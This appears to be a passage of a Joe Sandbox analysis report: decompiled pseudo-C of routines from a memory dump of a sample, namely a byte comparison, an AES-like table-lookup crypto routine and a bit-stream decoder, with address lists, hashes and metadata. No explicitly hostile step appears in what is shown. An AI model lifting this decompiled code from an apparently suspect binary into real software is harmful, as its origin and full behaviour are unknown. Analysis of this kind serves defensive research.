											goto L78;
										}
										_t184 =  *(_t322 - 4);
										if(_t184 ==  *(_t278 - 4)) {
											_t228 = 0;
											L76:
											if(_t228 == 0) {
												_t228 = 0;
											}
											goto L78;
										}
										_t281 = (_t184 & 0x000000ff) - ( *(_t278 - 4) & 0x000000ff);
										if(_t281 == 0) {
											L69:
											_t283 = ( *(_t322 - 3) & 0x000000ff) - ( *(_t278 - 3) & 0x000000ff);
											if(_t283 == 0) {
												L71:
												_t285 = ( *(_t322 - 2) & 0x000000ff) - ( *(_t278 - 2) & 0x000000ff);
												if(_t285 == 0) {
													L73:
													_t228 = ( *(_t322 - 1) & 0x000000ff) - ( *(_t278 - 1) & 0x000000ff);
													if(_t228 != 0) {
														_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
													}
													goto L76;
												}
												_t228 = (0 | _t285 > 0x00000000) * 2 - 1;
												if(_t228 != 0) {
													goto L78;
												}
												goto L73;
											}
											_t228 = (0 | _t283 > 0x00000000) * 2 - 1;
											if(_t228 != 0) {
												goto L78;
											}
											goto L71;
										}
										_t228 = (0 | _t281 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L69;
									}
									_t287 = (_t183 & 0x000000ff) - ( *(_t278 - 8) & 0x000000ff);
									if(_t287 == 0) {
										L58:
										_t289 = ( *(_t322 - 7) & 0x000000ff) - ( *(_t278 - 7) & 0x000000ff);
										if(_t289 == 0) {
											L60:
											_t291 = ( *(_t322 - 6) & 0x000000ff) - ( *(_t278 - 6) & 0x000000ff);
											if(_t291 == 0) {
												L62:
												_t228 = ( *(_t322 - 5) & 0x000000ff) - ( *(_t278 - 5) & 0x000000ff);
												if(_t228 != 0) {
													_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
												}
												goto L65;
											}
											_t228 = (0 | _t291 > 0x00000000) * 2 - 1;
											if(_t228 != 0) {
												goto L78;
											}
											goto L62;
										}
										_t228 = (0 | _t289 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L60;
									}
									_t228 = (0 | _t287 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L58;
								}
								_t293 = ( *(_t322 - 0xc) & 0x000000ff) - ( *(_t278 - 0xc) & 0x000000ff);
								if(_t293 == 0) {
									L47:
									_t295 = ( *(_t322 - 0xb) & 0x000000ff) - ( *(_t278 - 0xb) & 0x000000ff);
									if(_t295 == 0) {
										L49:
										_t297 = ( *(_t322 - 0xa) & 0x000000ff) - ( *(_t278 - 0xa) & 0x000000ff);
										if(_t297 == 0) {
											L51:
											_t228 = ( *(_t322 - 9) & 0x000000ff) - ( *(_t278 - 9) & 0x000000ff);
											if(_t228 != 0) {
												_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
											}
											goto L54;
										}
										_t228 = (0 | _t297 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L51;
									}
									_t228 = (0 | _t295 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L49;
								}
								_t228 = (0 | _t293 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L47;
							}
							_t299 = (_t181 & 0x000000ff) - ( *(_t278 - 0x10) & 0x000000ff);
							if(_t299 == 0) {
								L36:
								_t301 = ( *(_t322 - 0xf) & 0x000000ff) - ( *(_t278 - 0xf) & 0x000000ff);
								if(_t301 == 0) {
									L38:
									_t303 = ( *(_t322 - 0xe) & 0x000000ff) - ( *(_t278 - 0xe) & 0x000000ff);
									if(_t303 == 0) {
										L40:
										_t228 = ( *(_t322 - 0xd) & 0x000000ff) - ( *(_t278 - 0xd) & 0x000000ff);
										if(_t228 != 0) {
											_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
										}
										goto L43;
									}
									_t228 = (0 | _t303 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L40;
								}
								_t228 = (0 | _t301 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L38;
							}
							_t228 = (0 | _t299 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L36;
						}
						_t305 = (_t180 & 0x000000ff) - ( *(_t278 - 0x14) & 0x000000ff);
						if(_t305 == 0) {
							L25:
							_t307 = ( *(_t322 - 0x13) & 0x000000ff) - ( *(_t278 - 0x13) & 0x000000ff);
							if(_t307 == 0) {
								L27:
								_t309 = ( *(_t322 - 0x12) & 0x000000ff) - ( *(_t278 - 0x12) & 0x000000ff);
								if(_t309 == 0) {
									L29:
									_t228 = ( *(_t322 - 0x11) & 0x000000ff) - ( *(_t278 - 0x11) & 0x000000ff);
									if(_t228 != 0) {
										_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
									}
									goto L32;
								}
								_t228 = (0 | _t309 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L29;
							}
							_t228 = (0 | _t307 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L27;
						}
						_t228 = (0 | _t305 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L25;
					}
					_t311 = (_t179 & 0x000000ff) - ( *(_t278 - 0x18) & 0x000000ff);
					if(_t311 == 0) {
						L14:
						_t313 = ( *(_t322 - 0x17) & 0x000000ff) - ( *(_t278 - 0x17) & 0x000000ff);
						if(_t313 == 0) {
							L16:
							_t315 = ( *(_t322 - 0x16) & 0x000000ff) - ( *(_t278 - 0x16) & 0x000000ff);
							if(_t315 == 0) {
								L18:
								_t228 = ( *(_t322 - 0x15) & 0x000000ff) - ( *(_t278 - 0x15) & 0x000000ff);
								if(_t228 != 0) {
									_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
								}
								goto L21;
							}
							_t228 = (0 | _t315 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L18;
						}
						_t228 = (0 | _t313 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L16;
					}
					_t228 = (0 | _t311 > 0x00000000) * 2 - 1;
					if(_t228 != 0) {
						goto L78;
					}
					goto L14;
				}
				_t317 = (_t177 & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
				if(_t317 == 0) {
					L3:
					_t319 = ( *(_t322 - 0x1b) & 0x000000ff) - ( *(_t278 - 0x1b) & 0x000000ff);
					if(_t319 == 0) {
						L5:
						_t321 = ( *(_t322 - 0x1a) & 0x000000ff) - ( *(_t278 - 0x1a) & 0x000000ff);
						if(_t321 == 0) {
							L7:
							_t228 = ( *(_t322 - 0x19) & 0x000000ff) - ( *(_t278 - 0x19) & 0x000000ff);
							if(_t228 != 0) {
								_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
							}
							goto L10;
						}
						_t228 = (0 | _t321 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L7;
					}
					_t228 = (0 | _t319 > 0x00000000) * 2 - 1;
					if(_t228 != 0) {
						goto L78;
					}
					goto L5;
				}
				_t228 = (0 | _t317 > 0x00000000) * 2 - 1;
				if(_t228 != 0) {
					goto L78;
				}
				goto L3;
			}

0x013bede8
0x013bede8
0x013bede8
0x013bedee
0x013bee75
0x013bee77
0x013bee79
0x013bf1f8
0x013bf1f8
0x013bffe9
0x013bffe9
0x013bee7f
0x013bee85
0x013bef0c
0x013bef0e
0x013bef10
0x00000000
0x00000000
0x013bef16
0x013bef1c
0x013befa3
0x013befa5
0x013befa7
0x00000000
0x00000000
0x013befad
0x013befb3
0x013bf03a
0x013bf03c
0x013bf03e
0x00000000
0x00000000
0x013bf04a
0x013bf0d2
0x013bf0d4
0x013bf0d6
0x00000000
0x00000000
0x013bf0dc
0x013bf0e2
0x013bf169
0x013bf16b
0x013bf16d
0x00000000
0x00000000
0x013bf173
0x013bf179
0x013bf1f0
0x013bf1f2
0x013bf1f4
0x013bf1f6
0x013bf1f6
0x00000000
0x013bf1f4
0x013bf182
0x013bf184
0x013bf198
0x013bf1a0
0x013bf1a2
0x013bf1b6
0x013bf1be
0x013bf1c0
0x013bf1d4
0x013bf1dc
0x013bf1de
0x013bf1e7
0x013bf1e7
0x00000000
0x013bf1de
0x013bf1c9
0x013bf1d2
0x00000000
0x00000000
0x00000000
0x013bf1d2
0x013bf1ab
0x013bf1b4
0x00000000
0x00000000
0x00000000
0x013bf1b4
0x013bf18d
0x013bf196
0x00000000
0x00000000
0x00000000
0x013bf196
0x013bf0ef
0x013bf0f1
0x013bf109
0x013bf111
0x013bf113
0x013bf12b
0x013bf133
0x013bf135
0x013bf14d
0x013bf155
0x013bf157
0x013bf160
0x013bf160
0x00000000
0x013bf157
0x013bf13e
0x013bf147
0x00000000
0x00000000
0x00000000
0x013bf147
0x013bf11c
0x013bf125
0x00000000
0x00000000
0x00000000
0x013bf125
0x013bf0fa
0x013bf103
0x00000000
0x00000000
0x00000000
0x013bf103
0x013bf058
0x013bf05a
0x013bf072
0x013bf07a
0x013bf07c
0x013bf094
0x013bf09c
0x013bf09e
0x013bf0b6
0x013bf0be
0x013bf0c0
0x013bf0c9
0x013bf0c9
0x00000000
0x013bf0c0
0x013bf0a7
0x013bf0b0
0x00000000
0x00000000
0x00000000
0x013bf0b0
0x013bf085
0x013bf08e
0x00000000
0x00000000
0x00000000
0x013bf08e
0x013bf063
0x013bf06c
0x00000000
0x00000000
0x00000000
0x013bf06c
0x013befc0
0x013befc2
0x013befda
0x013befe2
0x013befe4
0x013beffc
0x013bf004
0x013bf006
0x013bf01e
0x013bf026
0x013bf028
0x013bf031
0x013bf031
0x00000000
0x013bf028
0x013bf00f
0x013bf018
0x00000000
0x00000000
0x00000000
0x013bf018
0x013befed
0x013beff6
0x00000000
0x00000000
0x00000000
0x013beff6
0x013befcb
0x013befd4
0x00000000
0x00000000
0x00000000
0x013befd4
0x013bef29
0x013bef2b
0x013bef43
0x013bef4b
0x013bef4d
0x013bef65
0x013bef6d
0x013bef6f
0x013bef87
0x013bef8f
0x013bef91
0x013bef9a
0x013bef9a
0x00000000
0x013bef91
0x013bef78
0x013bef81
0x00000000
0x00000000
0x00000000
0x013bef81
0x013bef56
0x013bef5f
0x00000000
0x00000000
0x00000000
0x013bef5f
0x013bef34
0x013bef3d
0x00000000
0x00000000
0x00000000
0x013bef3d
0x013bee92
0x013bee94
0x013beeac
0x013beeb4
0x013beeb6
0x013beece
0x013beed6
0x013beed8
0x013beef0
0x013beef8
0x013beefa
0x013bef03
0x013bef03
0x00000000
0x013beefa
0x013beee1
0x013beeea
0x00000000
0x00000000
0x00000000
0x013beeea
0x013beebf
0x013beec8
0x00000000
0x00000000
0x00000000
0x013beec8
0x013bee9d
0x013beea6
0x00000000
0x00000000
0x00000000
0x013beea6
0x013bedfb
0x013bedfd
0x013bee15
0x013bee1d
0x013bee1f
0x013bee37
0x013bee3f
0x013bee41
0x013bee59
0x013bee61
0x013bee63
0x013bee6c
0x013bee6c
0x00000000
0x013bee63
0x013bee4a
0x013bee53
0x00000000
0x00000000
0x00000000
0x013bee53
0x013bee28
0x013bee31
0x00000000
0x00000000
0x00000000
0x013bee31
0x013bee06
0x013bee0f
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 78e19917944d1b178142bb38567c88f0ab62f15b330250c45327fd955761d152
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 28C1783220519309EF1E463DCCB40BEBFA56A936B531A176DD6B3DB9D6FE20C124D610

Uniqueness

Uniqueness Score: -1.00%

Function 013AD634 Relevance: .3, Instructions: 318
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E013AD634(void* __ebx, intOrPtr __ecx, void* __esi) {
				void* _t222;
				signed int _t229;
				signed char _t253;
				signed int _t301;
				signed int* _t304;
				signed int* _t309;
				unsigned int _t313;
				signed char _t348;
				unsigned int _t350;
				signed int _t353;
				unsigned int _t356;
				signed int* _t359;
				signed int _t363;
				signed int _t368;
				signed int _t372;
				signed int _t376;
				signed char _t378;
				signed int* _t382;
				signed int _t388;
				signed int _t394;
				signed int _t399;
				intOrPtr _t400;
				signed char _t402;
				signed char _t403;
				signed char _t404;
				unsigned int _t406;
				signed int _t409;
				signed int _t411;
				unsigned int _t412;
				unsigned int _t414;
				unsigned int _t415;
				signed int _t416;
				signed int _t421;
				void* _t422;
				unsigned int _t423;
				signed int _t426;
				intOrPtr _t429;
				signed int* _t430;
				void* _t431;
				void* _t432;

				_t414 =  *(_t431 + 0x64);
				_t429 = __ecx;
				 *((intOrPtr*)(_t431 + 0x1c)) = __ecx;
				if(_t414 != 0) {
					_t415 = _t414 >> 4;
					 *(_t431 + 0x64) = _t415;
					if( *((char*)(__ecx)) == 0) {
						 *((intOrPtr*)(_t431 + 0x30)) = __ecx + 8;
						E013BDFA0(_t431 + 0x54, __ecx + 8, 0x10);
						_t432 = _t431 + 0xc;
						if(_t415 == 0) {
							L13:
							return E013BDFA0( *((intOrPtr*)(_t432 + 0x30)), _t432 + 0x50, 0x10);
						}
						_t399 =  *(_t432 + 0x60);
						 *(_t432 + 0x1c) = _t399 + 8;
						_t229 =  *(_t432 + 0x70);
						_t400 = _t399 - _t229;
						 *((intOrPtr*)(_t432 + 0x2c)) = _t400;
						_t359 = _t229 + 8;
						 *(_t432 + 0x20) = _t359;
						do {
							_t421 =  *(_t429 + 4);
							 *(_t432 + 0x28) = _t359 + _t400 + 0xfffffff8;
							E013AD602(_t432 + 0x4c, _t359 + _t400 + 0xfffffff8, (_t421 << 4) + 0x18 + _t429);
							_t402 =  *(_t432 + 0x44);
							 *(_t432 + 0x68) =  *(0x13dfe58 + (_t402 & 0x000000ff) * 4) ^  *(0x13e0a58 + ( *(_t432 + 0x4b) & 0x000000ff) * 4) ^  *(0x13e0658 + ( *(_t432 + 0x4e) & 0x000000ff) * 4);
							_t348 =  *(_t432 + 0x50);
							_t363 =  *(_t432 + 0x68) ^  *(0x13e0258 + (_t348 & 0x000000ff) * 4);
							 *(_t432 + 0x68) = _t363;
							 *(_t432 + 0x34) = _t363;
							_t403 =  *(_t432 + 0x48);
							_t368 =  *(0x13e0258 + (_t402 & 0x000000ff) * 4) ^  *(0x13dfe58 + (_t403 & 0x000000ff) * 4) ^  *(0x13e0a58 + ( *(_t432 + 0x4f) & 0x000000ff) * 4) ^  *(0x13e0658 + ( *(_t432 + 0x52) & 0x000000ff) * 4);
							 *(_t432 + 0x70) = _t368;
							 *(_t432 + 0x38) = _t368;
							_t404 =  *(_t432 + 0x4c);
							 *(_t432 + 0x10) =  *(0x13e0658 + ( *(_t432 + 0x46) & 0x000000ff) * 4) ^  *(0x13e0258 + (_t403 & 0x000000ff) * 4);
							_t372 =  *(_t432 + 0x10) ^  *(0x13dfe58 + (_t404 & 0x000000ff) * 4) ^  *(0x13e0a58 + ( *(_t432 + 0x53) & 0x000000ff) * 4);
							 *(_t432 + 0x10) = _t372;
							 *(_t432 + 0x3c) = _t372;
							 *(_t432 + 0x14) =  *(0x13e0a58 + ( *(_t432 + 0x47) & 0x000000ff) * 4) ^  *(0x13e0658 + ( *(_t432 + 0x4a) & 0x000000ff) * 4);
							_t376 =  *(_t432 + 0x14) ^  *(0x13e0258 + (_t404 & 0x000000ff) * 4) ^  *(0x13dfe58 + (_t348 & 0x000000ff) * 4);
							_t422 = _t421 - 1;
							 *(_t432 + 0x14) = _t376;
							 *(_t432 + 0x40) = _t376;
							if(_t422 <= 1) {
								goto L9;
							}
							_t416 =  *(_t432 + 0x68);
							_t309 = (_t422 + 2 << 4) + _t429;
							 *(_t432 + 0x14) = _t309;
							_t430 = _t309;
							 *((intOrPtr*)(_t432 + 0x18)) = _t422 - 1;
							do {
								_t411 =  *_t430;
								 *(_t432 + 0x68) =  *(_t430 - 8) ^ _t416;
								_t430 = _t430 - 0x10;
								_t313 = _t430[5] ^ _t376;
								_t412 = _t411 ^  *(_t432 + 0x10);
								 *(_t432 + 0x14) = _t313;
								_t356 = _t430[3] ^  *(_t432 + 0x70);
								_t416 =  *(0x13e0258 + (_t313 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x13e0658 + (_t412 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x13e0a58 + (_t356 >> 0x18) * 4) ^  *(0x13dfe58 + ( *(_t432 + 0x68) & 0x000000ff) * 4);
								 *(_t432 + 0x34) = _t416;
								 *(_t432 + 0x70) =  *(0x13e0658 + ( *(_t432 + 0x14) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x13e0a58 + (_t412 >> 0x18) * 4);
								_t388 =  *(_t432 + 0x70) ^  *(0x13e0258 + ( *(_t432 + 0x68) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x13dfe58 + (_t356 & 0x000000ff) * 4);
								 *(_t432 + 0x70) = _t388;
								 *(_t432 + 0x38) = _t388;
								_t394 =  *(0x13e0a58 + ( *(_t432 + 0x14) >> 0x18) * 4) ^  *(0x13e0258 + (_t356 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x13e0658 + ( *(_t432 + 0x68) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x13dfe58 + (_t412 & 0x000000ff) * 4);
								 *(_t432 + 0x10) = _t394;
								 *(_t432 + 0x3c) = _t394;
								_t376 =  *(0x13e0258 + (_t412 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x13e0658 + (_t356 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x13e0a58 + ( *(_t432 + 0x68) >> 0x18) * 4) ^  *(0x13dfe58 + ( *(_t432 + 0x14) & 0x000000ff) * 4);
								_t135 = _t432 + 0x18;
								 *_t135 =  *((intOrPtr*)(_t432 + 0x18)) - 1;
								 *(_t432 + 0x40) = _t376;
							} while ( *_t135 != 0);
							_t429 =  *((intOrPtr*)(_t432 + 0x24));
							 *(_t432 + 0x68) = _t416;
							_t415 =  *(_t432 + 0x6c);
							 *(_t432 + 0x14) = _t376;
							L9:
							_t253 =  *(_t429 + 0x28) ^  *(_t432 + 0x68);
							 *(_t432 + 0x6c) = _t253;
							 *(_t432 + 0x44) = _t253;
							_t378 =  *(_t429 + 0x34) ^  *(_t432 + 0x14);
							 *(_t432 + 0x34) =  *((intOrPtr*)((_t253 & 0x000000ff) + 0x13ded38));
							_t406 =  *(_t429 + 0x30) ^  *(_t432 + 0x10);
							_t350 =  *(_t429 + 0x2c) ^  *(_t432 + 0x70);
							 *((char*)(_t432 + 0x35)) =  *((intOrPtr*)((_t378 >> 0x00000008 & 0x000000ff) + 0x13ded38));
							_t423 =  *(_t432 + 0x6c);
							 *(_t432 + 0x4c) = _t406;
							 *(_t432 + 0x48) = _t350;
							 *((char*)(_t432 + 0x36)) =  *((intOrPtr*)((_t406 >> 0x00000010 & 0x000000ff) + 0x13ded38));
							 *(_t432 + 0x50) = _t378;
							 *((char*)(_t432 + 0x37)) =  *((intOrPtr*)((_t350 >> 0x18) + 0x13ded38));
							 *(_t432 + 0x38) =  *((intOrPtr*)((_t350 & 0x000000ff) + 0x13ded38));
							 *((char*)(_t432 + 0x39)) =  *((intOrPtr*)((_t423 >> 0x00000008 & 0x000000ff) + 0x13ded38));
							 *((char*)(_t432 + 0x3a)) =  *((intOrPtr*)((_t378 >> 0x00000010 & 0x000000ff) + 0x13ded38));
							_t170 = (_t406 >> 0x18) + 0x13ded38; // 0x54cbe9de
							 *((char*)(_t432 + 0x3b)) =  *_t170;
							 *(_t432 + 0x3c) =  *((intOrPtr*)((_t406 & 0x000000ff) + 0x13ded38));
							 *((char*)(_t432 + 0x3d)) =  *((intOrPtr*)((_t350 >> 0x00000008 & 0x000000ff) + 0x13ded38));
							 *((char*)(_t432 + 0x3e)) =  *((intOrPtr*)((_t423 >> 0x00000010 & 0x000000ff) + 0x13ded38));
							 *((char*)(_t432 + 0x3f)) =  *((intOrPtr*)((_t378 >> 0x18) + 0x13ded38));
							 *(_t432 + 0x40) =  *((intOrPtr*)((_t378 & 0x000000ff) + 0x13ded38));
							_t409 =  *(_t432 + 0x34) ^  *(_t429 + 0x18);
							 *((char*)(_t432 + 0x41)) =  *((intOrPtr*)((_t406 >> 0x00000008 & 0x000000ff) + 0x13ded38));
							 *((char*)(_t432 + 0x42)) =  *((intOrPtr*)((_t350 >> 0x00000010 & 0x000000ff) + 0x13ded38));
							 *((char*)(_t432 + 0x43)) =  *((intOrPtr*)((_t423 >> 0x18) + 0x13ded38));
							_t301 =  *(_t432 + 0x40) ^  *(_t429 + 0x24);
							_t426 =  *(_t432 + 0x38) ^  *(_t429 + 0x1c);
							_t353 =  *(_t432 + 0x3c) ^  *(_t429 + 0x20);
							 *(_t432 + 0x6c) = _t301;
							if( *((char*)(_t429 + 1)) != 0) {
								_t409 = _t409 ^  *(_t432 + 0x54);
								_t426 = _t426 ^  *(_t432 + 0x58);
								_t353 = _t353 ^  *(_t432 + 0x5c);
								 *(_t432 + 0x6c) = _t301 ^  *(_t432 + 0x60);
							}
							 *(_t432 + 0x54) =  *( *(_t432 + 0x28));
							_t304 =  *(_t432 + 0x1c);
							 *(_t432 + 0x58) =  *(_t304 - 4);
							 *(_t432 + 0x5c) =  *_t304;
							 *(_t432 + 0x60) = _t304[1];
							_t382 =  *(_t432 + 0x20);
							 *(_t432 + 0x1c) =  &(_t304[4]);
							 *(_t382 - 8) = _t409;
							_t382[1] =  *(_t432 + 0x6c);
							_t400 =  *((intOrPtr*)(_t432 + 0x2c));
							 *(_t382 - 4) = _t426;
							 *_t382 = _t353;
							_t359 =  &(_t382[4]);
							_t415 = _t415 - 1;
							 *(_t432 + 0x20) = _t359;
							 *(_t432 + 0x6c) = _t415;
						} while (_t415 != 0);
						goto L13;
					}
					return E013ADAF6(__ecx,  *((intOrPtr*)(_t431 + 0x68)), _t415,  *((intOrPtr*)(_t431 + 0x68)));
				}
				return _t222;
			}

0x013ad639
0x013ad63d
0x013ad63f
0x013ad645
0x013ad64b
0x013ad652
0x013ad656
0x013ad671
0x013ad67a
0x013ad67f
0x013ad684
0x013adadb
0x00000000
0x013adaeb
0x013ad68a
0x013ad693
0x013ad697
0x013ad69b
0x013ad69d
0x013ad6a1
0x013ad6a4
0x013ad6a8
0x013ad6a8
0x013ad6b8
0x013ad6c5
0x013ad6ca
0x013ad6f0
0x013ad6f4
0x013ad6ff
0x013ad706
0x013ad70a
0x013ad711
0x013ad737
0x013ad743
0x013ad747
0x013ad755
0x013ad760
0x013ad777
0x013ad783
0x013ad787
0x013ad79e
0x013ad7b3
0x013ad7ba
0x013ad7bb
0x013ad7bf
0x013ad7c6
0x00000000
0x00000000
0x013ad7cc
0x013ad7d6
0x013ad7d9
0x013ad7dd
0x013ad7df
0x013ad7e3
0x013ad7e8
0x013ad7eb
0x013ad7ef
0x013ad7f5
0x013ad7f7
0x013ad7fb
0x013ad80a
0x013ad83a
0x013ad84b
0x013ad85d
0x013ad879
0x013ad882
0x013ad886
0x013ad8bf
0x013ad8c6
0x013ad8ca
0x013ad8f7
0x013ad8fe
0x013ad8fe
0x013ad903
0x013ad903
0x013ad90d
0x013ad911
0x013ad915
0x013ad919
0x013ad91d
0x013ad920
0x013ad924
0x013ad928
0x013ad932
0x013ad93f
0x013ad94b
0x013ad952
0x013ad95c
0x013ad968
0x013ad96c
0x013ad970
0x013ad97a
0x013ad983
0x013ad98d
0x013ad99a
0x013ad9ac
0x013ad9be
0x013ad9c7
0x013ad9cd
0x013ad9dd
0x013ad9f2
0x013ada07
0x013ada16
0x013ada23
0x013ada2e
0x013ada37
0x013ada44
0x013ada4e
0x013ada5e
0x013ada61
0x013ada64
0x013ada6b
0x013ada6f
0x013ada71
0x013ada75
0x013ada79
0x013ada81
0x013ada81
0x013ada8b
0x013ada8f
0x013ada96
0x013ada9c
0x013adaa6
0x013adaaa
0x013adaae
0x013adab2
0x013adab9
0x013adabc
0x013adac0
0x013adac3
0x013adac5
0x013adac8
0x013adacb
0x013adacf
0x013adacf
0x00000000
0x013adada
0x00000000
0x013ad661
0x013adaf3

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84eadde44734edaea24a463eaea43b44d7aba3f8fd505ef4adfb0c83da814570
Instruction ID: 1865fe69a59d11f2f33be8bc42e08b844deabe4d1e2b873a5b3049062d9068af
Opcode Fuzzy Hash: 84eadde44734edaea24a463eaea43b44d7aba3f8fd505ef4adfb0c83da814570
Instruction Fuzzy Hash: A7E126759083808FC754CF69E49086ABBF0AFCA300F89495EF5D59B392C634EA05CF62

Uniqueness

Uniqueness Score: -1.00%

Function 013B2DB4 Relevance: .3, Instructions: 263
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E013B2DB4(void* __ecx, void* __edx) {
				void* __edi;
				signed int _t82;
				signed int _t88;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				signed int _t98;
				signed int _t99;
				intOrPtr _t116;
				signed int _t127;
				void* _t135;
				signed int _t137;
				signed int _t138;
				signed int _t148;
				signed int _t150;
				void* _t152;
				signed int _t155;
				signed int _t156;
				intOrPtr* _t157;
				intOrPtr* _t166;
				signed int _t169;
				void* _t170;
				signed int _t173;
				void* _t178;
				unsigned int _t180;
				signed int _t183;
				intOrPtr* _t184;
				void* _t185;
				signed int _t187;
				signed int _t188;
				intOrPtr* _t189;
				signed int _t192;
				signed int _t198;
				void* _t201;

				_t178 = __edx;
				_t185 = __ecx;
				_t184 = __ecx + 4;
				if( *_t184 <=  *((intOrPtr*)(__ecx + 0x84)) - 0x19) {
					L2:
					E013AA4B5(_t184,  ~( *(_t185 + 8)) & 0x00000007);
					_t82 = E013AA4CC(_t184);
					_t205 = _t82 & 0x00008000;
					if((_t82 & 0x00008000) == 0) {
						_t137 = 0;
						 *((intOrPtr*)(_t185 + 0xe65c)) = 0;
						 *((intOrPtr*)(_t185 + 0x98d0)) = 0;
						 *((intOrPtr*)(_t185 + 0x98d4)) = 0;
						__eflags = _t82 & 0x00004000;
						if((_t82 & 0x00004000) == 0) {
							E013BDE40(_t184, _t185 + 0xe4c8, 0, 0x194);
							_t201 = _t201 + 0xc;
						}
						E013AA4B5(_t184, 2);
						do {
							 *(_t201 + 0x14) = E013AA4CC(_t184) >> 0x0000000c & 0x000000ff;
							E013AA4B5(_t184, 4);
							_t88 =  *(_t201 + 0x10);
							__eflags = _t88 - 0xf;
							if(_t88 != 0xf) {
								 *(_t201 + _t137 + 0x14) = _t88;
								goto L15;
							}
							_t187 = E013AA4CC(_t184) >> 0x0000000c & 0x000000ff;
							E013AA4B5(_t184, 4);
							__eflags = _t187;
							if(_t187 != 0) {
								_t188 = _t187 + 2;
								__eflags = _t188;
								while(1) {
									_t188 = _t188 - 1;
									__eflags = _t137 - 0x14;
									if(_t137 >= 0x14) {
										break;
									}
									 *(_t201 + _t137 + 0x14) = 0;
									_t137 = _t137 + 1;
									__eflags = _t188;
									if(_t188 != 0) {
										continue;
									}
									break;
								}
								_t137 = _t137 - 1;
								goto L15;
							}
							 *(_t201 + _t137 + 0x14) = 0xf;
							L15:
							_t137 = _t137 + 1;
							__eflags = _t137 - 0x14;
						} while (_t137 < 0x14);
						_push(0x14);
						_t189 = _t185 + 0x3c50;
						_push(_t189);
						_push(_t201 + 0x1c);
						E013B23EE();
						_t138 = 0;
						__eflags = 0;
						do {
							__eflags =  *_t184 -  *((intOrPtr*)(_t185 + 0x84)) - 5;
							if( *_t184 <=  *((intOrPtr*)(_t185 + 0x84)) - 5) {
								L19:
								_t93 = E013AA4D1(_t184);
								_t94 =  *(_t189 + 0x84);
								_t180 = _t93 & 0x0000fffe;
								__eflags = _t180 -  *((intOrPtr*)(_t189 + 4 + _t94 * 4));
								if(_t180 >=  *((intOrPtr*)(_t189 + 4 + _t94 * 4))) {
									_t148 = 0xf;
									_t95 = _t94 + 1;
									 *(_t201 + 0x10) = _t148;
									__eflags = _t95 - _t148;
									if(_t95 >= _t148) {
										L27:
										_t150 =  *(_t184 + 4) +  *(_t201 + 0x10);
										 *_t184 =  *_t184 + (_t150 >> 3);
										_t98 =  *(_t201 + 0x10);
										 *(_t184 + 4) = _t150 & 0x00000007;
										_t152 = 0x10;
